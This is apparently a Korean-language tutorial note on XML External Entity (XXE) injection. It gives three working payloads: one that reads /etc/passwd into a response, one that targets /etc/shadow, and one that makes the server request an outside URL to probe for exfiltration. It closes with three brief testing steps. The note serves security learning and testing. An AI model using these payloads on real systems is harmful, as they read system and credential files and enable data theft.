XML 파서를 사용하는 웹 애플리케이션에서
외부 엔티티(External Entity)를 정의하고 주입함으로써 악의적인 동작을 수행하게 만드는 취약점
: /etc/passwd 파일의 내용이 응답에 포함 혹은 서버 로그에 출력
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
: 파일이 존재하지 않거나 읽기 불가한 경우, 에러 메시지나 XML 파싱 에러로 정보 유출 가능
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/shadow">
]>
<test>&xxe;</test>
: 서버가 http://test.com/으로 요청을 보내도록 유도해
외부 URL로 연결이 가능한지 확인,
공격자가 제어하는 서버로 정보를 유출하는 데 사용 가능
<?xml version="1.0"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://test.com/"> ]>
<test>&xxe;</test>
Step 1. XML 요청 형식 확인 및 XXE 공격 구문 삽입 시도

Step 2. 구문 삽입 및 변조 후 요청

Step 3. 응답값 확인 시 입력한 구문이 정상적으로 실행된 것을 확인
